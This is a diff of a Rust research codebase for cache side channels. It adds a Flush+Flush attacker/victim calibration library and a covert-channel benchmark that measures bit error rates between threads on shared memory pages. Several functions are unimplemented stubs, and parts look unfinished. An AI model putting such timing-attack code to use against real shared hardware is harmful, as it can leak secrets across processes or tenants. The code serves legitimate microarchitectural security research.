pub fn calibration_result_to_ASVP<T, Analysis: Fn(CalibrateResult) -> T>(
|
||||||
|
results: Vec<CalibrateResult2T>,
|
||||||
|
base: *const u8,
|
||||||
|
analysis: Analysis,
|
||||||
|
slicing: &impl Fn(usize) -> u8,
|
||||||
|
) -> Result<HashMap<ASVP, T>, nix::Error> {
|
||||||
|
let mut analysis_result: HashMap<ASVP, T> = HashMap::new();
|
||||||
|
for calibrate_2t_result in results {
|
||||||
|
let attacker = calibrate_2t_result.main_core;
|
||||||
|
let victim = calibrate_2t_result.helper_core;
|
||||||
|
match calibrate_2t_result.res {
|
||||||
|
Err(e) => return Err(e),
|
||||||
|
Ok(calibrate_1t_results) => {
|
||||||
|
for result_1t in calibrate_1t_results {
|
||||||
|
let offset = result_1t.offset;
|
||||||
|
let addr = unsafe { base.offset(offset) };
|
||||||
|
let page = get_vpn(addr); //TODO
|
||||||
|
let slice = slicing(addr as usize);
|
||||||
|
let analysed = analysis(result_1t);
|
||||||
|
let asvp = ASVP {
|
||||||
|
attacker,
|
||||||
|
slice,
|
||||||
|
victim,
|
||||||
|
page,
|
||||||
|
};
|
||||||
|
analysis_result.insert(asvp, analysed);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(analysis_result)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn map_values<K, U, V, F>(input: HashMap<K, U>, f: F) -> HashMap<K, V>
|
||||||
|
where
|
||||||
|
K: Hash + Eq,
|
||||||
|
F: Fn(U, &K) -> V,
|
||||||
|
{
|
||||||
|
let mut results = HashMap::new();
|
||||||
|
for (k, u) in input {
|
||||||
|
let f_u = f(u, &k);
|
||||||
|
results.insert(k, f_u);
|
||||||
|
}
|
||||||
|
results
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn accumulate<K, V, RK, Reduction, Accumulator, Accumulation, AccumulatorDefault>(
|
||||||
|
input: HashMap<K, V>,
|
||||||
|
reduction: Reduction,
|
||||||
|
accumulator_default: AccumulatorDefault,
|
||||||
|
aggregation: Accumulation,
|
||||||
|
) -> HashMap<RK, Accumulator>
|
||||||
|
where
|
||||||
|
K: Hash + Eq + Copy,
|
||||||
|
RK: Hash + Eq + Copy,
|
||||||
|
Reduction: Fn(K) -> RK,
|
||||||
|
Accumulation: Fn(&mut Accumulator, V, K, RK) -> (),
|
||||||
|
AccumulatorDefault: Fn() -> Accumulator,
|
||||||
|
{
|
||||||
|
let mut accumulators = HashMap::new();
|
||||||
|
for (k, v) in input {
|
||||||
|
let rk = reduction(k);
|
||||||
|
aggregation(
|
||||||
|
accumulators
|
||||||
|
.entry(rk)
|
||||||
|
.or_insert_with(|| accumulator_default()),
|
||||||
|
v,
|
||||||
|
k,
|
||||||
|
rk,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
accumulators
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn reduce<K, V, RK, RV, Reduction, Accumulator, Accumulation, AccumulatorDefault, Extract>(
|
||||||
|
input: HashMap<K, V>,
|
||||||
|
reduction: Reduction,
|
||||||
|
accumulator_default: AccumulatorDefault,
|
||||||
|
aggregation: Accumulation,
|
||||||
|
extraction: Extract,
|
||||||
|
) -> HashMap<RK, RV>
|
||||||
|
where
|
||||||
|
K: Hash + Eq + Copy,
|
||||||
|
RK: Hash + Eq + Copy,
|
||||||
|
Reduction: Fn(K) -> RK,
|
||||||
|
AccumulatorDefault: Fn() -> Accumulator,
|
||||||
|
Accumulation: Fn(&mut Accumulator, V, K, RK) -> (),
|
||||||
|
Extract: Fn(Accumulator, &RK) -> RV,
|
||||||
|
{
|
||||||
|
let accumulators = accumulate(input, reduction, accumulator_default, aggregation);
|
||||||
|
let result = map_values(accumulators, extraction);
|
||||||
|
result
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
pub fn compute_threshold_error() -> (Threshold, ()) {
|
||||||
|
unimplemented!();
|
||||||
|
} // TODO
|
||||||
|
*/
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
|
||||||
|
use crate::calibration::map_values;
|
||||||
|
#[cfg(feature = "no_std")]
|
||||||
|
use hashbrown::HashMap;
|
||||||
|
#[cfg(feature = "use_std")]
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_map_values() {
|
||||||
|
let mut input = HashMap::new();
|
||||||
|
input.insert(0, "a");
|
||||||
|
input.insert(1, "b");
|
||||||
|
let output = map_values(input, |c| c.to_uppercase());
|
||||||
|
assert_eq!(output[&0], "A");
|
||||||
|
assert_eq!(output[&1], "B");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
2
covert_channels_evaluation/.cargo/config
Normal file
2
covert_channels_evaluation/.cargo/config
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
[build]
|
||||||
|
target = "x86_64-unknown-linux-gnu"
|
13
covert_channels_evaluation/Cargo.toml
Normal file
13
covert_channels_evaluation/Cargo.toml
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
[package]
|
||||||
|
name = "covert_channels_evaluation"
|
||||||
|
version = "0.1.0"
|
||||||
|
authors = ["GuillaumeDIDIER <guillaume.didier95@hotmail.fr>"]
|
||||||
|
edition = "2018"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
rand = "0.7.3"
|
||||||
|
bit_field = "0.10.1"
|
||||||
|
turn_lock = { path = "../turn_lock" }
|
||||||
|
cache_utils = { path = "../cache_utils" }
|
222
covert_channels_evaluation/src/lib.rs
Normal file
222
covert_channels_evaluation/src/lib.rs
Normal file
@ -0,0 +1,222 @@
|
|||||||
|
#![feature(unsafe_block_in_unsafe_fn)]
|
||||||
|
#![deny(unsafe_op_in_unsafe_fn)]
|
||||||
|
use turn_lock::TurnLock;
|
||||||
|
|
||||||
|
const PAGE_SIZE: usize = 1 << 12; // FIXME Magic
|
||||||
|
|
||||||
|
// design docs
|
||||||
|
|
||||||
|
// Build a channel using x pages + one synchronisation primitive.
|
||||||
|
|
||||||
|
// F+R only use one line per page
|
||||||
|
// F+F should use several line per page
|
||||||
|
// Each page has 1<<12 bytes / 1<<6 bytes per line, hence 64 lines (or 6 bits of info).
|
||||||
|
|
||||||
|
// General structure : two threads, a transmitter and a reciever. Transmitter generates bytes, Reciever reads bytes, then on join compare results for accuracy.
|
||||||
|
// Alos time in order to determine duration, in rdtsc and seconds.
|
||||||
|
|
||||||
|
use bit_field::BitField;
|
||||||
|
use cache_utils::mmap::MMappedMemory;
|
||||||
|
use cache_utils::rdtsc_fence;
|
||||||
|
use std::any::Any;
|
||||||
|
use std::collections::VecDeque;
|
||||||
|
use std::sync::Arc;
|
||||||
|
use std::thread;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Safety considerations : Not ensure thread safety, need proper locking as needed.
|
||||||
|
*/
|
||||||
|
pub trait CovertChannel: Send + Sync {
|
||||||
|
const BIT_PER_PAGE: usize;
|
||||||
|
unsafe fn transmit(&self, page: *const u8, bits: &mut BitIterator);
|
||||||
|
unsafe fn receive(&self, page: *const u8) -> Vec<bool>;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct CovertChannelBenchmarkResult {
|
||||||
|
pub num_bytes_transmitted: usize,
|
||||||
|
pub num_bit_errors: usize,
|
||||||
|
pub error_rate: f64,
|
||||||
|
pub time_rdtsc: u64,
|
||||||
|
//pub time_seconds: todo
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct BitIterator<'a> {
|
||||||
|
bytes: &'a Vec<u8>,
|
||||||
|
byte_index: usize,
|
||||||
|
bit_index: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<'a> BitIterator<'a> {
|
||||||
|
pub fn new(bytes: &'a Vec<u8>) -> BitIterator<'a> {
|
||||||
|
BitIterator {
|
||||||
|
bytes,
|
||||||
|
byte_index: 0,
|
||||||
|
bit_index: 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn atEnd(&self) -> bool {
|
||||||
|
self.byte_index >= self.bytes.len()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Iterator for BitIterator<'_> {
|
||||||
|
type Item = bool;
|
||||||
|
|
||||||
|
fn next(&mut self) -> Option<Self::Item> {
|
||||||
|
if let Some(b) = self.bytes.get(self.byte_index) {
|
||||||
|
let r = (b >> (u8::BIT_LENGTH - 1 - self.bit_index as usize)) & 1 != 0;
|
||||||
|
self.bit_index += 1;
|
||||||
|
self.byte_index += self.bit_index as usize / u8::BIT_LENGTH;
|
||||||
|
self.bit_index = self.bit_index % u8::BIT_LENGTH as u8;
|
||||||
|
Some(r)
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct CovertChannelPage {
|
||||||
|
pub turn: TurnLock,
|
||||||
|
pub addr: *const u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
struct CovertChannelParams<T: CovertChannel + Send> {
|
||||||
|
pages: Vec<CovertChannelPage>,
|
||||||
|
covert_channel: Arc<T>,
|
||||||
|
transmit_core: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe impl<T: 'static + CovertChannel + Send> Send for CovertChannelParams<T> {}
|
||||||
|
|
||||||
|
fn transmit_thread<T: CovertChannel>(
|
||||||
|
num_bytes: usize,
|
||||||
|
mut params: CovertChannelParams<T>,
|
||||||
|
) -> (u64, Vec<u8>) {
|
||||||
|
let mut result = Vec::new();
|
||||||
|
result.reserve(num_bytes);
|
||||||
|
for _ in 0..num_bytes {
|
||||||
|
let byte = rand::random();
|
||||||
|
result.push(byte);
|
||||||
|
}
|
||||||
|
let mut bit_iter = BitIterator::new(&result);
|
||||||
|
let start = unsafe { rdtsc_fence() };
|
||||||
|
while !bit_iter.atEnd() {
|
||||||
|
for page in params.pages.iter_mut() {
|
||||||
|
page.turn.wait();
|
||||||
|
unsafe { params.covert_channel.transmit(page.addr, &mut bit_iter) };
|
||||||
|
page.turn.next();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
(start, result)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn benchmark_channel<T: 'static + Send + CovertChannel>(
|
||||||
|
channel: T,
|
||||||
|
num_pages: usize,
|
||||||
|
num_bytes: usize,
|
||||||
|
transmit_core: usize,
|
||||||
|
receive_core: usize,
|
||||||
|
) -> CovertChannelBenchmarkResult {
|
||||||
|
// Allocate pages
|
||||||
|
let size = num_pages * PAGE_SIZE;
|
||||||
|
let m = MMappedMemory::new(size);
|
||||||
|
let mut pages_transmit = Vec::new();
|
||||||
|
let mut pages_receive = Vec::new();
|
||||||
|
let array: &[u8] = m.slice();
|
||||||
|
for i in 0..num_pages {
|
||||||
|
let addr = &array[i * PAGE_SIZE] as *const u8;
|
||||||
|
let mut turns = TurnLock::new(2);
|
||||||
|
let mut t_iter = turns.drain(0..);
|
||||||
|
let receive_lock = t_iter.next().unwrap();
|
||||||
|
let transmit_lock = t_iter.next().unwrap();
|
||||||
|
assert!(t_iter.next().is_none());
|
||||||
|
pages_transmit.push(CovertChannelPage {
|
||||||
|
turn: transmit_lock,
|
||||||
|
addr,
|
||||||
|
});
|
||||||
|
pages_receive.push(CovertChannelPage {
|
||||||
|
turn: receive_lock,
|
||||||
|
addr,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
let covert_channel_arc = Arc::new(channel);
|
||||||
|
let params = CovertChannelParams {
|
||||||
|
pages: pages_transmit,
|
||||||
|
covert_channel: covert_channel_arc.clone(),
|
||||||
|
transmit_core,
|
||||||
|
};
|
||||||
|
|
||||||
|
if transmit_core == receive_core {
|
||||||
|
unimplemented!()
|
||||||
|
}
|
||||||
|
|
||||||
|
let helper = thread::spawn(move || transmit_thread(num_bytes, params));
|
||||||
|
// Create the thread parameters
|
||||||
|
let mut received_bytes: Vec<u8> = Vec::new();
|
||||||
|
let mut received_bits = VecDeque::<bool>::new();
|
||||||
|
while received_bytes.len() < num_bytes {
|
||||||
|
for page in pages_receive.iter_mut() {
|
||||||
|
page.turn.wait();
|
||||||
|
let mut bits = unsafe { covert_channel_arc.receive(page.addr) };
|
||||||
|
page.turn.next();
|
||||||
|
received_bits.extend(&mut bits.iter());
|
||||||
|
while received_bits.len() >= u8::BIT_LENGTH {
|
||||||
|
let mut byte = 0;
|
||||||
|
for i in 0..u8::BIT_LENGTH {
|
||||||
|
byte <<= 1;
|
||||||
|
let bit = received_bits.pop_front().unwrap();
|
||||||
|
byte |= bit as u8;
|
||||||
|
}
|
||||||
|
received_bytes.push(byte);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// TODO
|
||||||
|
// receiver thread
|
||||||
|
}
|
||||||
|
let stop = unsafe { rdtsc_fence() };
|
||||||
|
let r = helper.join();
|
||||||
|
let (start, sent_bytes) = match r {
|
||||||
|
Ok(r) => r,
|
||||||
|
Err(e) => panic!("Join Error: {:?#}"),
|
||||||
|
};
|
||||||
|
assert_eq!(sent_bytes.len(), received_bytes.len());
|
||||||
|
assert_eq!(num_bytes, received_bytes.len());
|
||||||
|
|
||||||
|
let mut num_bit_error = 0;
|
||||||
|
for i in 0..num_bytes {
|
||||||
|
num_bit_error += (sent_bytes[i] ^ received_bytes[i]).count_ones() as usize;
|
||||||
|
}
|
||||||
|
|
||||||
|
let error_rate = (num_bit_error as f64) / ((num_bytes * u8::BIT_LENGTH) as f64);
|
||||||
|
// Create transmit thread
|
||||||
|
CovertChannelBenchmarkResult {
|
||||||
|
num_bytes_transmitted: num_bytes,
|
||||||
|
num_bit_errors: num_bit_error,
|
||||||
|
error_rate,
|
||||||
|
time_rdtsc: stop - start,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use crate::BitIterator;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn it_works() {
|
||||||
|
assert_eq!(2 + 2, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn test_bit_vec() {
|
||||||
|
let bit_iter = BitIterator::new(vec![0x55, 0xf]);
|
||||||
|
let results = vec![
|
||||||
|
false, true, false, true, false, true, false, true, false, false, false, false, true,
|
||||||
|
true, true, true,
|
||||||
|
];
|
||||||
|
for (i, bit) in bit_iter.enumerate() {
|
||||||
|
assert_eq!(results[i], bit);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
2
flush_flush/.cargo/config
Normal file
2
flush_flush/.cargo/config
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
[build]
|
||||||
|
target = "x86_64-unknown-linux-gnu"
|
12
flush_flush/Cargo.toml
Normal file
12
flush_flush/Cargo.toml
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
[package]
|
||||||
|
name = "flush_flush"
|
||||||
|
version = "0.1.0"
|
||||||
|
authors = ["GuillaumeDIDIER <guillaume.didier95@hotmail.fr>"]
|
||||||
|
edition = "2018"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
cache_utils = { path = "../cache_utils" }
|
||||||
|
cache_side_channel = { path = "../cache_side_channel" }
|
||||||
|
nix = "0.18.0"
|
614
flush_flush/src/lib.rs
Normal file
614
flush_flush/src/lib.rs
Normal file
@ -0,0 +1,614 @@
|
|||||||
|
#![feature(unsafe_block_in_unsafe_fn)]
|
||||||
|
#![deny(unsafe_op_in_unsafe_fn)]
|
||||||
|
|
||||||
|
pub mod naive;
|
||||||
|
|
||||||
|
use cache_side_channel::SideChannelError::{AddressNotCalibrated, AddressNotReady};
|
||||||
|
use cache_side_channel::{
|
||||||
|
CacheStatus, ChannelFatalError, MultipleAddrCacheSideChannel, SideChannelError,
|
||||||
|
SingleAddrCacheSideChannel,
|
||||||
|
};
|
||||||
|
use cache_utils::calibration::{
|
||||||
|
calibrate_fixed_freq_2_thread, get_cache_slicing, get_vpn, only_flush, CalibrateOperation2T,
|
||||||
|
CalibrationOptions, HistParams, Verbosity, CFLUSH_BUCKET_NUMBER, CFLUSH_BUCKET_SIZE,
|
||||||
|
CFLUSH_NUM_ITER, PAGE_LEN,
|
||||||
|
};
|
||||||
|
use cache_utils::calibration::{ErrorPrediction, Slice, Threshold, ThresholdError, AV, SP, VPN};
|
||||||
|
use cache_utils::complex_addressing::CacheSlicing;
|
||||||
|
use cache_utils::{find_core_per_socket, flush, maccess, noop};
|
||||||
|
use nix::sched::{sched_getaffinity, sched_setaffinity, CpuSet};
|
||||||
|
use nix::unistd::Pid;
|
||||||
|
use std::collections::{HashMap, HashSet};
|
||||||
|
use std::fmt;
|
||||||
|
use std::fmt::{Debug, Formatter};
|
||||||
|
|
||||||
|
pub struct FlushAndFlush {
|
||||||
|
thresholds: HashMap<SP, ThresholdError>,
|
||||||
|
addresses_ready: HashSet<*const u8>,
|
||||||
|
slicing: CacheSlicing,
|
||||||
|
attacker_core: usize,
|
||||||
|
victim_core: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub enum FlushAndFlushError {
|
||||||
|
NoSlicing,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct SingleFlushAndFlush(FlushAndFlush);
|
||||||
|
|
||||||
|
impl SingleFlushAndFlush {
|
||||||
|
pub fn new(attacker_core: usize, victim_core: usize) -> Result<Self, FlushAndFlushError> {
|
||||||
|
FlushAndFlush::new(attacker_core, victim_core).map(|ff| SingleFlushAndFlush(ff))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn new_any_single_core() -> Result<(Self, CpuSet, usize), FlushAndFlushError> {
|
||||||
|
FlushAndFlush::new_any_single_core()
|
||||||
|
.map(|(ff, old, core)| (SingleFlushAndFlush(ff), old, core))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn new_any_two_core(
|
||||||
|
distinct: bool,
|
||||||
|
) -> Result<(Self, CpuSet, usize, usize), FlushAndFlushError> {
|
||||||
|
FlushAndFlush::new_any_two_core(distinct)
|
||||||
|
.map(|(ff, old, attacker, victim)| (SingleFlushAndFlush(ff), old, attacker, victim))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SingleAddrCacheSideChannel for SingleFlushAndFlush {
|
||||||
|
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
|
||||||
|
unsafe { self.0.test_single(addr) }
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
|
||||||
|
unsafe { self.0.prepare_single(addr) }
|
||||||
|
}
|
||||||
|
|
||||||
|
fn victim_single(&mut self, operation: &dyn Fn()) {
|
||||||
|
self.0.victim_single(operation)
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn calibrate_single(
|
||||||
|
&mut self,
|
||||||
|
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||||
|
) -> Result<(), ChannelFatalError> {
|
||||||
|
unsafe { self.0.calibrate_single(addresses) }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl FlushAndFlush {
|
||||||
|
pub fn new(attacker_core: usize, victim_core: usize) -> Result<Self, FlushAndFlushError> {
|
||||||
|
if let Some(slicing) = get_cache_slicing(find_core_per_socket()) {
|
||||||
|
if !slicing.can_hash() {
|
||||||
|
return Err(FlushAndFlushError::NoSlicing);
|
||||||
|
}
|
||||||
|
|
||||||
|
let ret = Self {
|
||||||
|
thresholds: Default::default(),
|
||||||
|
addresses_ready: Default::default(),
|
||||||
|
slicing,
|
||||||
|
attacker_core,
|
||||||
|
victim_core,
|
||||||
|
};
|
||||||
|
Ok(ret)
|
||||||
|
} else {
|
||||||
|
Err(FlushAndFlushError::NoSlicing)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Takes a buffer / list of addresses or pages
|
||||||
|
// Takes a list of core pairs
|
||||||
|
// Run optimized calibration and processes results
|
||||||
|
fn calibration_for_core_pairs<'a>(
|
||||||
|
core_pairs: impl Iterator<Item = (usize, usize)> + Clone,
|
||||||
|
pages: impl Iterator<Item = &'a [u8]>,
|
||||||
|
) -> Result<HashMap<AV, (ErrorPrediction, HashMap<SP, ThresholdError>)>, FlushAndFlushError>
|
||||||
|
{
|
||||||
|
let core_per_socket = find_core_per_socket();
|
||||||
|
|
||||||
|
let operations = [
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: maccess::<u8>,
|
||||||
|
op: only_flush,
|
||||||
|
name: "clflush_remote_hit",
|
||||||
|
display_name: "clflush remote hit",
|
||||||
|
},
|
||||||
|
CalibrateOperation2T {
|
||||||
|
prepare: noop::<u8>,
|
||||||
|
op: only_flush,
|
||||||
|
name: "clflush_miss",
|
||||||
|
display_name: "clflush miss",
|
||||||
|
},
|
||||||
|
];
|
||||||
|
const HIT_INDEX: usize = 0;
|
||||||
|
const MISS_INDEX: usize = 1;
|
||||||
|
|
||||||
|
let mut calibrate_results2t_vec = Vec::new();
|
||||||
|
|
||||||
|
for page in pages {
|
||||||
|
// FIXME Cache line size is magic
|
||||||
|
let mut r = unsafe {
|
||||||
|
calibrate_fixed_freq_2_thread(
|
||||||
|
&page[0] as *const u8,
|
||||||
|
64,
|
||||||
|
page.len() as isize,
|
||||||
|
&mut core_pairs.clone(),
|
||||||
|
&operations,
|
||||||
|
CalibrationOptions {
|
||||||
|
hist_params: HistParams {
|
||||||
|
bucket_number: CFLUSH_BUCKET_NUMBER,
|
||||||
|
bucket_size: CFLUSH_BUCKET_SIZE,
|
||||||
|
iterations: CFLUSH_NUM_ITER << 1,
|
||||||
|
},
|
||||||
|
verbosity: Verbosity::NoOutput,
|
||||||
|
optimised_addresses: true,
|
||||||
|
},
|
||||||
|
core_per_socket,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
calibrate_results2t_vec.append(&mut r);
|
||||||
|
}
|
||||||
|
unimplemented!();
|
||||||
|
}
|
||||||
|
|
||||||
|
fn new_with_core_pairs(
|
||||||
|
core_pairs: impl Iterator<Item = (usize, usize)> + Clone,
|
||||||
|
) -> Result<(Self, usize, usize), FlushAndFlushError> {
|
||||||
|
let m = MMappedMemory::new(PAGE_LEN);
|
||||||
|
let array: &[u8] = m.slice();
|
||||||
|
|
||||||
|
let res = Self::calibration_for_core_pairs(core_pairs, vec![array].into_iter());
|
||||||
|
|
||||||
|
// Call the calibration function on a local page sized buffer.
|
||||||
|
|
||||||
|
// Classical analysis flow to generate all ASVP, Threshold, Error.
|
||||||
|
|
||||||
|
// Reduction to determine average / max error for each core.
|
||||||
|
|
||||||
|
// Select the proper core
|
||||||
|
unimplemented!();
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn new_any_single_core() -> Result<(Self, CpuSet, usize), FlushAndFlushError> {
|
||||||
|
// Generate core iterator
|
||||||
|
let mut core_pairs: Vec<(usize, usize)> = Vec::new();
|
||||||
|
|
||||||
|
let old = sched_getaffinity(Pid::from_raw(0)).unwrap();
|
||||||
|
|
||||||
|
for i in 0..CpuSet::count() {
|
||||||
|
if old.is_set(i).unwrap() {
|
||||||
|
core_pairs.push((i, i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generate all single core pairs
|
||||||
|
|
||||||
|
// Call out to private constructor that takes a core pair list, determines best and makes the choice.
|
||||||
|
// The private constructor will set the correct affinity for main (attacker thread)
|
||||||
|
|
||||||
|
Self::new_with_core_pairs(core_pairs.into_iter()).map(|(channel, attacker, victim)| {
|
||||||
|
assert_eq!(attacker, victim);
|
||||||
|
(channel, old, attacker)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn new_any_two_core(
|
||||||
|
distinct: bool,
|
||||||
|
) -> Result<(Self, CpuSet, usize, usize), FlushAndFlushError> {
|
||||||
|
let old = sched_getaffinity(Pid::from_raw(0)).unwrap();
|
||||||
|
|
||||||
|
let mut core_pairs: Vec<(usize, usize)> = Vec::new();
|
||||||
|
|
||||||
|
for i in 0..CpuSet::count() {
|
||||||
|
if old.is_set(i).unwrap() {
|
||||||
|
for j in 0..CpuSet::count() {
|
||||||
|
if old.is_set(j).unwrap() {
|
||||||
|
if i != j || !distinct {
|
||||||
|
core_pairs.push((i, j));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Self::new_with_core_pairs(core_pairs.into_iter()).map(|(channel, attacker, victim)| {
|
||||||
|
if distinct {
|
||||||
|
assert_ne!(attacker, victim);
|
||||||
|
}
|
||||||
|
(channel, old, attacker, victim)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_slice(&self, addr: *const u8) -> Slice {
|
||||||
|
self.slicing.hash(addr as usize).unwrap()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn set_cores(&mut self, attacker: usize, victim: usize) -> Result<(), nix::Error> {
|
||||||
|
let old_attacker = self.attacker_core;
|
||||||
|
let old_victim = self.victim_core;
|
||||||
|
|
||||||
|
self.attacker_core = attacker;
|
||||||
|
self.victim_core = victim;
|
||||||
|
|
||||||
|
let pages: Vec<VPN> = self
|
||||||
|
.thresholds
|
||||||
|
.keys()
|
||||||
|
.map(|sp: &SP| sp.page)
|
||||||
|
//.copied()
|
||||||
|
.collect();
|
||||||
|
match self.recalibrate(pages) {
|
||||||
|
Ok(()) => Ok(()),
|
||||||
|
Err(e) => {
|
||||||
|
self.attacker_core = old_attacker;
|
||||||
|
self.victim_core = old_victim;
|
||||||
|
Err(e)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn recalibrate(&mut self, pages: impl IntoIterator<Item = VPN>) -> Result<(), nix::Error> {
|
||||||
|
// unset readiness status.
|
||||||
|
// Call calibration with core pairs with a single core pair
|
||||||
|
// Use results \o/ (or error out)
|
||||||
|
|
||||||
|
unimplemented!();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Debug for FlushAndFlush {
|
||||||
|
fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
|
||||||
|
f.debug_struct("FlushAndFlush")
|
||||||
|
.field("thresholds", &self.thresholds)
|
||||||
|
.field("addresses_ready", &self.addresses_ready)
|
||||||
|
.field("slicing", &self.slicing)
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
use cache_utils::calibration::cum_sum;
|
||||||
|
use cache_utils::mmap::MMappedMemory;
|
||||||
|
|
||||||
|
impl MultipleAddrCacheSideChannel for FlushAndFlush {
|
||||||
|
const MAX_ADDR: u32 = 3;
|
||||||
|
|
||||||
|
unsafe fn test<'a, 'b, 'c>(
|
||||||
|
&'a mut self,
|
||||||
|
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
||||||
|
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError> {
|
||||||
|
let mut result = Vec::new();
|
||||||
|
let mut tmp = Vec::new();
|
||||||
|
let mut i = 0;
|
||||||
|
for addr in addresses {
|
||||||
|
i += 1;
|
||||||
|
let t = unsafe { only_flush(*addr) };
|
||||||
|
tmp.push((addr, t));
|
||||||
|
if i == Self::MAX_ADDR {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (addr, time) in tmp {
|
||||||
|
if !self.addresses_ready.contains(&addr) {
|
||||||
|
return Err(AddressNotReady(*addr));
|
||||||
|
}
|
||||||
|
let vpn: VPN = (*addr as usize) & (!0xfff); // FIXME
|
||||||
|
let slice = self.get_slice(*addr);
|
||||||
|
let threshold_error = &self.thresholds[&SP { slice, page: vpn }];
|
||||||
|
// refactor this into a struct threshold method ?
|
||||||
|
if threshold_error.threshold.is_hit(time) {
|
||||||
|
result.push((*addr, CacheStatus::Hit))
|
||||||
|
} else {
|
||||||
|
result.push((*addr, CacheStatus::Miss))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
unsafe fn prepare<'a, 'b, 'c>(
|
||||||
|
&'a mut self,
|
||||||
|
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
||||||
|
) -> Result<(), SideChannelError> {
|
||||||
|
use core::arch::x86_64 as arch_x86;
|
||||||
|
let mut i = 0;
|
||||||
|
let addresses_cloned = addresses.clone();
|
||||||
|
for addr in addresses_cloned {
|
||||||
|
i += 1;
|
||||||
|
let vpn: VPN = get_vpn(*addr);
|
||||||
|
let slice = self.get_slice(*addr);
|
||||||
|
if self.addresses_ready.contains(&addr) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if !self.thresholds.contains_key(&SP { slice, page: vpn }) {
|
||||||
|
return Err(AddressNotCalibrated(*addr));
|
||||||
|
}
|
||||||
|
if i == Self::MAX_ADDR {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
i = 0;
|
||||||
|
for addr in addresses {
|
||||||
|
i += 1;
|
||||||
|
unsafe { flush(*addr) };
|
||||||
|
self.addresses_ready.insert(*addr);
|
||||||
|
if i == Self::MAX_ADDR {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
unsafe { arch_x86::_mm_mfence() };
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn victim(&mut self, operation: &dyn Fn()) {
|
||||||
|
operation(); // TODO use a different helper core ?
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO
|
||||||
|
// To split into several functions
|
||||||
|
